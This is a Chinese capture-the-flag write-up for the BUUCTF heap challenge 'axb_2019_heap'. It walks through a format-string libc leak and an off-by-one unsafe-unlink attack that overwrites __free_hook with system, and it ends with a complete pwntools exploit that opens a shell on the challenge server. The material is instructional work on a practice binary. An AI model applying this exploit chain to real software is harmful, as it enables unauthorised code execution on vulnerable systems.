axb_2019_heap
信息收集
checksec;
跑一下程序;
丢到ida64里分析;
main()函数
int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int choice; init(); banner(); while ( 1 ) { menu(); choice = get_int(); switch ( choice ) { case 1 : add_note(); break ; case 2 : delete_note(); break ; case 3 : puts ("None!" ); break ; case 4 : edit_note(); break ; default : puts ("No such choices!" ); break ; } } }
banner()函数
unsigned __int64 banner () { char format; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("Welcome to note management system!" ); printf ("Enter your name: " ); __isoc99_scanf("%s" , &format); printf ("Hello, " , &format); printf (&format); puts ("\n-------------------------------------" ); return __readfsqword(0x28 u) ^ v2; }
format参数是一个很重要的提示,这里存在格式化字符串漏洞,可以泄露libc地址;
调试可以得到:
klose@ubuntu:~/ctf/pwn/file/buuctf/axb_2019_heap$ gdbchoose Please choose the mode of GDB? 1.peda 2.gef 3.pwndbg Input your choice:3 Please enjoy pwndbg! GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word". pwndbg: loaded 175 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) /home/klose/.gdbinit:14: Error in sourced command file: This command cannot be used at the top level. pwndbg> file axb_2019_heap Reading symbols from axb_2019_heap...(no debugging symbols found)...done. pwndbg> b banner Breakpoint 1 at 0xae9
输入’aaaaaaaa’;
调试可得:
__libc_start_main + 240
和main
在栈上的位置相对于格式化字符串为:
由此可以获得这两个地址;
get_input()函数
在edit_note()函数中存在get_input()函数;
size_t __fastcall get_input (__int64 a1, int a2) { size_t result; signed int v3; _BYTE *v4; v3 = 0 ; while ( 1 ) { v4 = (_BYTE *)(v3 + a1); result = fread(v4, 1uLL , 1uLL , stdin ); if ( (signed int )result <= 0 ) break ; if ( *v4 == 10 ) { if ( v3 ) { result = v3 + a1; *v4 = 0 ; return result; } } else { result = (unsigned int )++v3; if ( a2 + 1 <= (unsigned int )v3 ) return result; } } return result; }
在a2+1≤v3
处存在off-by-one漏洞;
漏洞利用
存在off-by-one漏洞,而且对chunk的大小有具体限制,那么可以利用unsafe unlink attack,调用__free_hook钩子以在free的时候调用system函数,至于'/bin/sh'
只需要作为一个chunk_content输入就好了;
首先泄露关键地址
def leak (): p.recvuntil('Enter your name: ' ) p.sendline("%15$p.%19$p" ) __libc_start_main_ret = int (p.recvuntil('840' )[-14 :],16 ) __libc_start_main = __libc_start_main_ret - 240 p.recvuntil("0x" ) main_base = int (p.recv()[0 :12 ],16 ) - 0x116a libc_base = __libc_start_main - 0x20750 heap_ptr = main_base + 0x202060 __free_hook = libc_base + 0x3c67a8 system_addr = libc_base + 0x453a0 log.success('libc_base => ' + hex (libc_base)) log.success('__libc_start_main_ret=> ' + hex (__libc_start_main_ret)) log.success('__libc_start_main => ' + hex (__libc_start_main)) log.success('main_base => ' + hex (main_base)) log.success('heap_ptr => ' + hex (heap_ptr)) log.success('__free_hook => ' + hex (__free_hook)) log.success('system_addr => ' + hex (system_addr))
进而获取相关的libc基址等信息;
接着构造unsafe unlink attack;
def add (index, size, content ): p.recvuntil(">> " ) p.sendline("1" ) p.recvuntil(":" ) p.sendline(str (index)) p.recvuntil(":\n" ) p.sendline(str (size)) p.recvuntil(": \n" ) p.sendline(content) def delete (index ): p.recvuntil(">> " ) p.sendline("2" ) p.recvuntil(":\n" ) p.sendline(str (index)) def show (): p.sendline("3" ) def edit (index, content ): p.recvuntil(">> " ) p.sendline("4" ) p.recvuntil(":\n" ) p.sendline(str (index)) p.recvuntil(": \n" ) p.sendline(content) def unlink (): show() add(0 , 0x98 , 'a' * 0x90 ) add(1 , 0x90 , 'b' * 0x90 ) add(2 , 0x88 , '/bin/sh\x00' ) payload = p64(0 ) payload += p64(0x91 ) payload += p64(heap_ptr - 0x18 ) payload += p64(heap_ptr - 0x10 ) payload += p64(0 ) * 14 payload += p64(0x90 ) payload += b'\xa0' edit(0 , payload) delete(1 )
来逐步看看都发生了什么;
在构造fake chunk的时候,要注意以下几点:
1. fake chunk size要符合要求:fake chunk size = chunk0_size - 0x10
2. 为了绕过链表前后检查,fd应当设置为target_addr - 0x18
,bk设置为target_addr - 0x10
3. 为了让glibc认为fake chunk为空,next chunk prev size = fake chunk size - 1
,利用off-by-one修改next chunk PREV_INUSE=0
因此才构成了上面的payload;
delete(1)
为触发unsafe unlink attack;
具体的堆布局会如下变化:
1. malloc three chunk
2. send payload
3. delete to trigger unsafe unlink
完成后,chunk0_ptr将指向fake_fd,即target_addr - 0x18
的位置;
接着进行pwn操作;
def pwn (): edit(0 , p64(0 )*3 + p64(__free_hook) + p64(0x10 )) edit(0 , p64(system_addr)) delete(2 ) pause() p.interactive()
这样修改过后,由于chunk0_ptr = chunk0_ptr[3] = __free_hook_addr,只需要在chunk0_ptr处填充system_addr,则可以实现__free_hook内容被修改为system_addr;
调用即可得到shell;
exp如下:
from glob import globfrom os import systemfrom random import SystemRandomfrom pwn import *context.log_level = 'debug' proc_name = 'axb_2019_heap' islocal = 1 libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) elf = ELF(proc_name) if islocal: p = process(proc_name) else : p = remote('node4.buuoj.cn' , 28198 ) def debug (addr, PIE=True ): if PIE: text_base = int (os.popen("pmap {}| awk '{{print $1}}'" .format (p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format (hex (text_base+addr))) else : gdb.attach(p,"b *{}" .format (hex (addr))) def add (index, size, content ): p.recvuntil(">> " ) p.sendline("1" ) p.recvuntil(":" ) p.sendline(str (index)) p.recvuntil(":\n" ) p.sendline(str (size)) p.recvuntil(": \n" ) p.sendline(content) def delete (index ): p.recvuntil(">> " ) p.sendline("2" ) p.recvuntil(":\n" ) p.sendline(str (index)) def show (): p.sendline("3" ) def edit (index, content ): p.recvuntil(">> " ) p.sendline("4" ) p.recvuntil(":\n" ) p.sendline(str (index)) p.recvuntil(": \n" ) p.sendline(content) def leak (): global heap_ptr global __free_hook global system_addr global main_base p.recvuntil('Enter your name: ' ) p.sendline("%15$p.%19$p" ) __libc_start_main_ret = int (p.recvuntil('830' )[-14 :],16 ) __libc_start_main = __libc_start_main_ret - 240 p.recvuntil("0x" ) main_base = int (p.recv()[0 :12 ],16 ) - 0x116a libc_base = __libc_start_main - 0x20740 heap_ptr = main_base + 0x202060 __free_hook = libc_base + 0x3c67a8 system_addr = libc_base + 0x45390 log.success('libc_base => ' + hex (libc_base)) log.success('__libc_start_main_ret=> ' + hex (__libc_start_main_ret)) log.success('__libc_start_main => ' + hex (__libc_start_main)) log.success('main_base => ' + hex (main_base)) log.success('heap_ptr => ' + hex (heap_ptr)) log.success('__free_hook => ' + hex (__free_hook)) log.success('system_addr => ' + hex (system_addr)) def unlink (): show() add(0 , 0x98 , 'a' * 0x90 ) add(1 , 0x90 , 'b' * 0x90 ) add(2 , 0x88 , '/bin/sh\x00' ) payload = p64(0 ) payload += p64(0x91 ) payload += p64(heap_ptr - 0x18 ) payload += p64(heap_ptr - 0x10 ) payload += p64(0 ) * 14 payload += p64(0x90 ) payload += b'\xa0' edit(0 , payload) delete(1 ) def pwn (): edit(0 , p64(0 )*3 + p64(__free_hook) + p64(0x10 )) edit(0 , p64(system_addr)) delete(2 ) pause() p.interactive() if __name__ == '__main__' : leak() unlink() pwn()
连buu的时候要注意libc的问题;